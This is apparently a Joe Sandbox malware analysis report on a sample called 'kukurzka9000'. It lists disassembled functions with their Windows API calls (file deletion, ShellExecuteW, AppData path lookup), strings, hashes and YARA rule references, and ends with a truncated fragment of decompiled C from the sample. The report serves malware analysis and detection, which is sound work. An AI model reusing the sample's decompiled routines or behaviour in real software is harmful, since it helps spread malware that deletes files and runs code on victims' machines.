Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc
String ID: iqt$.dll$libs$pXqt$y@$y@
API String ID: 3098330729-823572887
Opcode ID: 256491809de4a65429cad93a6271d82b62e2b5fb655f29cdfe79702446f82b76
Instruction ID: 52a9afaef70bc3ab584d26b5193ec900674cb85d6b4cf00b99d66efe4c6f1661
Opcode Fuzzy Hash: 256491809de4a65429cad93a6271d82b62e2b5fb655f29cdfe79702446f82b76
Instruction Fuzzy Hash: EE818672A002159BDB04EFA5DF85A6E77B8AB44310B44483EE941F7390DF78ED11CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0254A6EB Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 275fileCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(00000000,00000000), ref: 0254A882
LocalFree.KERNEL32(00000000), ref: 0254A961
LocalFree.KERNEL32(?), ref: 0254A96C
LocalFree.KERNEL32(?), ref: 0254A976
LocalFree.KERNEL32(?), ref: 0254A97D
LocalFree.KERNEL32(00000000), ref: 0254A984
CloseHandle.KERNEL32(?), ref: 0254A98F
DeleteFileW.KERNEL32(?), ref: 0254A996
LocalFree.KERNEL32(?), ref: 0254A9F7
LocalFree.KERNEL32(00000000), ref: 0254A9FE
LocalFree.KERNEL32(?), ref: 0254AA08
LocalFree.KERNEL32(00000000), ref: 0254AA0F
LocalFree.KERNEL32(?), ref: 0254AA18
LocalFree.KERNEL32(00000000), ref: 0254AA1F
DeleteFileW.KERNEL32(?), ref: 0254AA26
LocalFree.KERNEL32(?), ref: 0254AA4D
FindClose.KERNEL32(00000000), ref: 0254AA54

Part of subcall function 02549C82: LocalFree.KERNEL32(?), ref: 02549D36

Part of subcall function 0254A6EB: LocalFree.KERNEL32(00000000), ref: 0254A7D1

Strings

., xrefs: 0254A760
pXqt, xrefs: 0254A7D1, 0254A961, 0254A96C, 0254A976, 0254A97D, 0254A984, 0254A9F7, 0254A9FE, 0254AA08, 0254AA0F, 0254AA18, 0254AA1F, 0254AA4D

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$File$CloseDelete$FindHandleSize
String ID: .$pXqt
API String ID: 948424528-3506007591
Opcode ID: 9efa7dd12d013d1a44ae699e025aa845af9bad0d35c456780079ac2c1191b97f
Instruction ID: 39b7c864e8862690f81875446102b1e70370736db306375105f4b312e6d19942
Opcode Fuzzy Hash: 9efa7dd12d013d1a44ae699e025aa845af9bad0d35c456780079ac2c1191b97f
Instruction Fuzzy Hash: A7A1A271204301AFD704DF62DE89E6B77E9FBC8704F004928FA55A72A0DB74E911CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0254693B Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 315COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 02546CD6

Part of subcall function 02549958: LocalFree.KERNEL32(00000000,?,025432BA,00000002,?), ref: 025499BD

ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 02546BE7
LocalFree.KERNEL32(?), ref: 02546BF0
LocalFree.KERNEL32(00000000), ref: 02546BF7
LocalFree.KERNEL32(00000000), ref: 02546BFE
LocalFree.KERNEL32(?), ref: 02546C07

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

ShellExecuteW.SHELL32(00000000,0040D968,?,?,00000000,00000000), ref: 02546C37
LocalFree.KERNEL32(?), ref: 02546C41
LocalFree.KERNEL32(?), ref: 02546C4A
LocalFree.KERNEL32(?), ref: 02546C51
LocalFree.KERNEL32(?), ref: 02546C5A
LocalFree.KERNEL32(?), ref: 02546C82
LocalFree.KERNEL32(?), ref: 02546C8B
LocalFree.KERNEL32(?), ref: 02546C92
LocalFree.KERNEL32(?), ref: 02546C9B
LocalFree.KERNEL32(?), ref: 02546CA9
LocalFree.KERNEL32(00000000), ref: 02546CB8
LocalFree.KERNEL32(00000000), ref: 02546CC1

Strings

pXqt, xrefs: 02546BF0, 02546BF7, 02546BFE, 02546C07, 02546C41, 02546C4A, 02546C51, 02546C5A, 02546C82, 02546C8B, 02546C92, 02546C9B, 02546CA9, 02546CB8, 02546CC1, 02546CD6

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$ExecuteShell$Global
String ID: pXqt
API String ID: 3422199401-1234763034
Opcode ID: 2e40cf93ff22970fb201e2597e66e137a113e231ffdeba543525be583811f4b7
Instruction ID: 259acb9473baa49a192f948fa83ca5c08e3459c92a203405cc25e0d39111c790
Opcode Fuzzy Hash: 2e40cf93ff22970fb201e2597e66e137a113e231ffdeba543525be583811f4b7
Instruction Fuzzy Hash: 8FA1EB72A00225AFDB149BA6DE45E7EBBB9FF85314B004824E905F7250DF74AD11CBAC

Uniqueness

Uniqueness Score: -1.00%

Function 0254222C Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 440fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 025422BB

Part of subcall function 02549C12: LocalFree.KERNEL32(00000000,?,?,02541F22), ref: 02549C75

StrCpyW.SHLWAPI(?,?), ref: 025422FB
LocalFree.KERNEL32(00000000), ref: 02542306
LocalFree.KERNEL32(00000000), ref: 02542315
LocalFree.KERNEL32(00000000), ref: 02542324
LocalFree.KERNEL32(00000000), ref: 02542333
LocalFree.KERNEL32(00000000), ref: 0254233E
DeleteFileW.KERNEL32(?), ref: 025424A4
LocalFree.KERNEL32(?), ref: 025424AB
LocalFree.KERNEL32(00000000), ref: 025424C3
LocalFree.KERNEL32(00000000), ref: 0254273F
LocalFree.KERNEL32(?), ref: 02542748
LocalFree.KERNEL32(00000000), ref: 02542756
LocalFree.KERNEL32(00000000), ref: 02542760
DeleteFileW.KERNEL32(?), ref: 02542797

Strings

TRUE, xrefs: 0254265E, 02542669, 02542700, 0254270D
FALSE, xrefs: 02542659, 02542705
pXqt, xrefs: 025422BB, 02542306, 02542315, 02542324, 02542333, 0254233E, 025424AB, 025424C3, 0254273F, 02542748, 02542756, 02542760

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: FALSE$TRUE$pXqt
API String ID: 2194112602-608640648
Opcode ID: d2b305aae021969603c5b297492c78034a2985e289075661334c01097b3b4819
Instruction ID: dc4055d4748595f01b1592fad0dd99a073f906f2e628ced91ff1f99ebb008006
Opcode Fuzzy Hash: d2b305aae021969603c5b297492c78034a2985e289075661334c01097b3b4819
Instruction Fuzzy Hash: E0026071900219EFDF059FA2EE89AADBBB5FF48304F104825F911B72A0DB759920DF58

Uniqueness

Uniqueness Score: -1.00%

Function 02549D4E Relevance: 31.8, APIs: 20, Strings: 1, Instructions: 347COMMON

Download Yara Rule

APIs

Part of subcall function 02549958: LocalFree.KERNEL32(00000000,?,025432BA,00000002,?), ref: 025499BD

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A0A0

Part of subcall function 0254A6EB: LocalFree.KERNEL32(00000000), ref: 0254A7D1
Part of subcall function 0254A6EB: LocalFree.KERNEL32(?), ref: 0254AA4D
Part of subcall function 0254A6EB: FindClose.KERNEL32(00000000), ref: 0254AA54

LocalFree.KERNEL32(?), ref: 0254A099

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

LocalFree.KERNEL32(00000000), ref: 0254A06F
LocalFree.KERNEL32(?), ref: 0254A078
LocalFree.KERNEL32(?), ref: 0254A081
LocalFree.KERNEL32(?), ref: 0254A08A
LocalFree.KERNEL32(02547111,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A0A9
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A0B2
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A0BB
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A0C4
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A0CD
LocalFree.KERNEL32(02547111,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A0F4
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A0FD
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A106
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A10F
LocalFree.KERNEL32(02547111,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A11D
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A126
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A12F
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A138
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02547111), ref: 0254A13F

Strings

pXqt, xrefs: 0254A06F, 0254A078, 0254A081, 0254A08A, 0254A099, 0254A0A0, 0254A0A9, 0254A0B2, 0254A0BB, 0254A0C4, 0254A0CD, 0254A0F4, 0254A0FD, 0254A106, 0254A10F, 0254A11D, 0254A126, 0254A12F, 0254A138, 0254A13F

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$CloseFindGlobal
String ID: pXqt
API String ID: 1000408776-1234763034
Opcode ID: da41649cdfaa69d85f6674120de0b24903d668d69a5e938357de5707fbedf273
Instruction ID: a71cfa09c01515595ee1459dd313cd6c38dc9847417dcaf2d4db94b14c2f5d0b
Opcode Fuzzy Hash: da41649cdfaa69d85f6674120de0b24903d668d69a5e938357de5707fbedf273
Instruction Fuzzy Hash: 7CC18872900215AFDF089FA6DE59DAEBBB5FB48310F044929F905B72A0DF746D10CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0254914D Relevance: 31.8, APIs: 20, Strings: 1, Instructions: 303COMMON

Download Yara Rule

Strings

pXqt, xrefs: 025491D1, 02549227, 02549230, 02549284, 0254928D, 02549296, 025492E5, 025492EE, 025492F7, 02549300, 0254944E, 02549457, 02549460, 02549469, 02549472, 0254947B, 02549484, 0254948D, 02549494, 0254949B

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID:
String ID: pXqt
API String ID: 0-1234763034
Opcode ID: 0cef58336c127519e834a542057a8c6bde7dd657260fd76d22c0132126a0d320
Instruction ID: c2ca52d0b0d322ee4d469829a2db668499a87ba2d9cddb5a7e796b18d23045c7
Opcode Fuzzy Hash: 0cef58336c127519e834a542057a8c6bde7dd657260fd76d22c0132126a0d320
Instruction Fuzzy Hash: A9A1A772A00115BFEB009BA6DE45EAEBBB9FB88314F104924F615F71A0DF746D10CB69

Uniqueness

Uniqueness Score: -1.00%

Function 025444F2 Relevance: 31.8, APIs: 20, Strings: 1, Instructions: 303COMMON

Download Yara Rule

Strings

pXqt, xrefs: 02544576, 025445CC, 025445D5, 02544629, 02544632, 0254463B, 0254468A, 02544693, 0254469C, 025446A5, 025447F3, 025447FC, 02544805, 0254480E, 02544817, 02544820, 02544829, 02544832, 02544839, 02544840

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID:
String ID: pXqt
API String ID: 0-1234763034
Opcode ID: 1c78de96184f9a35f28283014b90c132c45570b675f53bf2a6977543753af1da
Instruction ID: 6a51a15ea30783cd6b641491bbfda9e1699922300a0e3479529c25a18340540a
Opcode Fuzzy Hash: 1c78de96184f9a35f28283014b90c132c45570b675f53bf2a6977543753af1da
Instruction Fuzzy Hash: EAA1C472A00115BFDB009BAADE45FAEBBB5FB88324F104924F615F71A0DFB05D108B69

Uniqueness

Uniqueness Score: -1.00%

Function 0254A37A Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 300COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 0254A3C2
LocalFree.KERNEL32(00000000), ref: 0254A41D
LocalFree.KERNEL32(00000000), ref: 0254A424

Strings

pXqt, xrefs: 0254A41D, 0254A424, 0254A66F, 0254A682, 0254A68C, 0254A69D, 0254A6A6, 0254A6AF, 0254A6CD, 0254A6D6

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$FolderPathSpecial
String ID: pXqt
API String ID: 1941890384-1234763034
Opcode ID: 72788095e3ba856c56753af6b7a68af839d158276ac543cc7c9517f84d2339a1
Instruction ID: 948a81548a7cfb3e6cefe382a012e51c5d4eb347fb22698fb5e1009ea0fa8622
Opcode Fuzzy Hash: 72788095e3ba856c56753af6b7a68af839d158276ac543cc7c9517f84d2339a1
Instruction Fuzzy Hash: DFA1D571A40215AFDB04DBA5DD99FAE7BB9FF88314F004828F615B72D0DBB49910CB68

Uniqueness

Uniqueness Score: -1.00%

Function 02542F4B Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 223fileCOMMON

Download Yara Rule

APIs

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

GetFileSize.KERNEL32(00000000,00000000), ref: 02543042
LocalFree.KERNEL32(00000000), ref: 0254316F
LocalFree.KERNEL32(?), ref: 02543178
LocalFree.KERNEL32(?), ref: 0254317F
LocalFree.KERNEL32(00000000), ref: 02543186
FindClose.KERNEL32(00000002), ref: 025431AD
LocalFree.KERNEL32(00000002), ref: 025431B6
LocalFree.KERNEL32(?), ref: 025431C6
LocalFree.KERNEL32(00000000), ref: 025431CD
LocalFree.KERNEL32(?), ref: 025431D4
LocalFree.KERNEL32(00000000), ref: 025431DB
LocalFree.KERNEL32(?), ref: 025431E4
LocalFree.KERNEL32(?), ref: 025431ED
LocalFree.KERNEL32(00000000), ref: 025431F4
DeleteFileW.KERNEL32(?), ref: 025431FB

Part of subcall function 02549C12: LocalFree.KERNEL32(00000000,?,?,02541F22), ref: 02549C75

Strings

pXqt, xrefs: 0254316F, 02543178, 0254317F, 02543186, 025431B6, 025431C6, 025431CD, 025431D4, 025431DB, 025431E4, 025431ED, 025431F4

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$File$CloseDeleteFindGlobalSize
String ID: pXqt
API String ID: 952173178-1234763034
Opcode ID: c0af09b8467f81c6f5b6c21aa0467688919da5cab6ecacf54911a18db2b2d236
Instruction ID: 3374cff72d3e1f4bdc8bdc36d09157ff4bbc3ee346fb01743ef472d9e748bf0c
Opcode Fuzzy Hash: c0af09b8467f81c6f5b6c21aa0467688919da5cab6ecacf54911a18db2b2d236
Instruction Fuzzy Hash: 86718271A00215AFDB04DBB2DD49EAEB7BAFBC8304F104969F515B72A0DF749910CB68

Uniqueness

Uniqueness Score: -1.00%

Function 02545C99 Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 321COMMON

Download Yara Rule

APIs

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 02545D2D

Strings

., xrefs: 02545D03
pXqt, xrefs: 02545FDF, 02545FE8, 02545FF1, 02545FF8, 02546001, 0254600A, 02546013, 0254601C, 02546025, 02546032, 0254605A

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: CombineFreeGlobalPath
String ID: .$pXqt
API String ID: 1842026532-3506007591
Opcode ID: e2b1b369697f91e98e90e0f59b02c0883434508b7dc7d4233a499d6016bd9fa5
Instruction ID: fd889f189e0ca3ac704a7e7648807da7a41a20e3332f7800721e9525e1d6d6a4
Opcode Fuzzy Hash: e2b1b369697f91e98e90e0f59b02c0883434508b7dc7d4233a499d6016bd9fa5
Instruction Fuzzy Hash: 1EC18FB1D00219AFDB04DFA6DD44AAEBBBAFB88304F104469E915B7390DB746D11CF68

Uniqueness

Uniqueness Score: -1.00%

Function 02543203 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 255COMMON

Download Yara Rule

Strings

., xrefs: 025433A1
pXqt, xrefs: 02543457, 02543460, 0254348A, 02543493, 0254349C, 025434A5, 025434AE, 025434DC, 025434E5, 025434F3, 025434FC, 02543503

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID:
String ID: .$pXqt
API String ID: 0-3506007591
Opcode ID: 8eb8ff996c082bd78e62886e718282b1ca5e0bd6b9d0ceec2433230310415ef2
Instruction ID: 8d862d65ae8b0a16e3c4465e1c9c951f6dff10214bfb274d61982a02676c09ce
Opcode Fuzzy Hash: 8eb8ff996c082bd78e62886e718282b1ca5e0bd6b9d0ceec2433230310415ef2
Instruction Fuzzy Hash: 89919471A00215AFDB089FA5DD49EAEBBB5FB48314F004968F905B72A0DB74AD10CF68

Uniqueness

Uniqueness Score: -1.00%

Function 02547BC0 Relevance: 25.7, APIs: 14, Strings: 3, Instructions: 247COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?,?,?,?,?,?,02546F57), ref: 02547D96
LocalFree.KERNEL32(?,?,?,?,?,?,?,02546F57), ref: 02547DA4
LocalFree.KERNEL32(00000000), ref: 02547DBB
LocalFree.KERNEL32(00000000), ref: 02547DC6
LocalFree.KERNEL32(00000000), ref: 02547DD1
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,02546F57), ref: 02547E01
LocalFree.KERNEL32(?,?,?,?,?,?,?,02546F57), ref: 02547E17
LocalFree.KERNEL32(?,?,?,?,?,?,?,02546F57), ref: 02547E2F
LocalFree.KERNEL32(00000000), ref: 02547E3E
LocalFree.KERNEL32(00000000), ref: 02547E49
LocalFree.KERNEL32(00000000), ref: 02547E54
LocalFree.KERNEL32(?,?,?,?,?,?,?,02546F57), ref: 02547E66
LocalFree.KERNEL32(00000000), ref: 02547E75
LocalFree.KERNEL32(00000000), ref: 02547E84

Strings

iqt, xrefs: 02547CA2
.dll, xrefs: 02547D5B
pXqt, xrefs: 02547D96, 02547DA4, 02547DBB, 02547DC6, 02547DD1, 02547E01, 02547E17, 02547E2F, 02547E3E, 02547E49, 02547E54, 02547E66, 02547E75, 02547E84

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID: iqt$.dll$pXqt
API String ID: 2826327444-1395928043
Opcode ID: 95061837a91f269392e0105e5022292588c8a9051f5e52f426446199278b41c2
Instruction ID: b7f7181ad8b5ae8c00791f180e6005dbbd20f1cc137f70a411bbf5fca5dee195
Opcode Fuzzy Hash: 95061837a91f269392e0105e5022292588c8a9051f5e52f426446199278b41c2
Instruction Fuzzy Hash: B281A671A002159BDB049FB6DE85A7EFBB9BB48318F044829E905F7290DF74ED50CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00408ADD Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 387fileCOMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00408B01
GetClientRect.USER32(?,?), ref: 00408C7F
LocalFree.KERNEL32(?), ref: 00408F66

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000), ref: 00408E46
CloseHandle.KERNEL32(?), ref: 00408E51
DeleteFileW.KERNEL32(?), ref: 00408E58
LocalFree.KERNEL32(?), ref: 00408E5F
LocalFree.KERNEL32(?), ref: 00408E69
LocalFree.KERNEL32(00000000), ref: 00408F41
LocalFree.KERNEL32(?), ref: 00408F4B
LocalFree.KERNEL32(?), ref: 00408F55
LocalFree.KERNEL32(?), ref: 00408F5C

Strings

pXqt, xrefs: 00408E46, 00408E5F, 00408E69, 00408F41, 00408F4B, 00408F55, 00408F5C, 00408F66

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$lstrlen$ClientCloseDeleteDesktopFileGlobalHandleRectWindow
String ID: pXqt
API String ID: 2265433170-1234763034
Opcode ID: 42fc98a6e6a89340ea73cfcb9c6e7a19bfd64210cff79040dd24ad1ddd0e5be8
Instruction ID: 01ed2ab5b407dfc10e46f60f726f8b4f8e8024e8c2023dc9817dc03e66c0134a
Opcode Fuzzy Hash: 42fc98a6e6a89340ea73cfcb9c6e7a19bfd64210cff79040dd24ad1ddd0e5be8
Instruction Fuzzy Hash: 53D12E71104211AFE705DFA6DE44E2B7BF9EB89710F004D3DFA54E72A0DB7499208B6A

Uniqueness

Uniqueness Score: -1.00%

Function 02548051 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 387fileCOMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 02548075
GetClientRect.USER32(?,?), ref: 025481F3
LocalFree.KERNEL32(?), ref: 025484DA

Part of subcall function 02549C12: LocalFree.KERNEL32(00000000,?,?,02541F22), ref: 02549C75

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

LocalFree.KERNEL32(00000000), ref: 025483BA
CloseHandle.KERNEL32(?), ref: 025483C5
DeleteFileW.KERNEL32(?), ref: 025483CC
LocalFree.KERNEL32(?), ref: 025483D3
LocalFree.KERNEL32(?), ref: 025483DD
LocalFree.KERNEL32(00000000), ref: 025484B5
LocalFree.KERNEL32(?), ref: 025484BF
LocalFree.KERNEL32(?), ref: 025484C9
LocalFree.KERNEL32(?), ref: 025484D0

Strings

pXqt, xrefs: 025483BA, 025483D3, 025483DD, 025484B5, 025484BF, 025484C9, 025484D0, 025484DA

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$ClientCloseDeleteDesktopFileGlobalHandleRectWindow
String ID: pXqt
API String ID: 2459997284-1234763034
Opcode ID: 167d8230b01a19888c30f1c1acb982bd4371131abcba0e45631bba1b62aed7e1
Instruction ID: 9b45b29253c3efc8d5d7ecf1494a57d55b95ad701536efa86886a0e86a7b0231
Opcode Fuzzy Hash: 167d8230b01a19888c30f1c1acb982bd4371131abcba0e45631bba1b62aed7e1
Instruction Fuzzy Hash: 97D13D71104211AFE705DFA6DE44E3B7BF9FB89714F004928FA54E7260DBB49920CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00406AF4 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 187filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

LocalFree.KERNEL32(00000000), ref: 00406BA0
wsprintfW.USER32 ref: 00406C85
lstrlenW.KERNEL32 ref: 00406C92
LocalFree.KERNEL32(?), ref: 00406CAF
DeleteFileW.KERNEL32(?), ref: 00406CE9
LocalFree.KERNEL32(?), ref: 00406CF4
LocalFree.KERNEL32(00000000), ref: 00406CFF
LocalFree.KERNEL32(00000000), ref: 00406D0B
DeleteFileW.KERNEL32(?), ref: 00406D12
LocalFree.KERNEL32(?), ref: 00406D19

Strings

TRUE, xrefs: 00406C6A, 00406C75
pXqt, xrefs: 00406BA0, 00406CAF, 00406CF4, 00406CFF, 00406D0B, 00406D19
FALSE, xrefs: 00406C65

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile$lstrlenwsprintf
String ID: FALSE$TRUE$pXqt
API String ID: 4168217763-608640648
Opcode ID: 05357ced764b7ba51e890c53d3fe89fe9df73bb22b38b0f22364097a277e5634
Instruction ID: c49cda921923e69c5166418a1bf50fcb18860fb3db535930a4ec2c5e5cba73ac
Opcode Fuzzy Hash: 05357ced764b7ba51e890c53d3fe89fe9df73bb22b38b0f22364097a277e5634
Instruction Fuzzy Hash: 25619571A00214AFDF049FA1EE44EAE7BB5EF48310F108439F916B72A1DB759D20DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00409906 Relevance: 21.3, APIs: 13, Strings: 1, Instructions: 263
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00409906(void* _a4, short* _a8) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				char _v32;
				void* _v36;
				char _v60;
				signed int _t53;
				signed int _t55;
				signed int _t60;
				void* _t64;
				signed int _t67;
				void* _t71;
				void* _t78;
				void* _t100;
				signed int _t105;
				void* _t107;
				void* _t108;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t126;
				signed int _t127;
				signed int _t133;
				void* _t144;
				char _t149;
				void* _t158;
				void* _t162;
				signed int _t163;
				void* _t164;
				void* _t166;
				void* _t168;
				void* _t173;
				void* _t174;
				signed int _t179;
				void* _t184;

				_t127 = 0;
				_t53 =  *((intOrPtr*)( *0x40e18c))(_a4,  *0x40e430, _t162, _t126);
				_t163 = _t53;
				if(_t163 != 0) {
					_t164 = _t163 + 0x10;
					_t55 =  *((intOrPtr*)( *0x40e18c))(_t164,  *0x40e1f0);
					__eflags = _t55;
					if(_t55 == 0) {
						L5:
						_v16 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t164, _t174) + _t57);
						_t60 = E0040A3E4(_t164,  &_v16, 0, _t127);
						__eflags = _t60;
						if(_t60 != 0) {
							_t166 = _t164 + _t127 * 2 + 2;
							_t64 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t166) + _t62);
							_v8 = _t64;
							_t179 =  *((intOrPtr*)( *0x40e18c))(_t166,  *0x40e20c) - _t166 >> 1;
							_t67 = E0040A3E4(_t166,  &_v8, 0, _t179);
							__eflags = _t67;
							if(_t67 != 0) {
								_t168 = _t166 + _t179 * 2 + 2;
								_t71 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t168) + _t69);
								_v12 = _t71;
								__eflags = E0040A3E4(_t168,  &_v12, 0,  *((intOrPtr*)( *0x40e18c))(_t168,  *0x40e20c) - _t168 >> 1);
								if(__eflags != 0) {
									_t78 =  *((intOrPtr*)( *0x40e044))(0x40, 0x5000);
									_a4 =  *((intOrPtr*)( *0x40e13c))(_t78, _v8);
									E00409064(__eflags,  &_a4);
									E0040919C( &_a4);
									E004090DC( *0x40e13c,  &_a4);
									E00409265( &_a4);
									E004092CF( &_v12,  &_a4);
									E0040942A( &_a4);
									E00409206(__eflags,  &_a4);
									E00409498( &_a4);
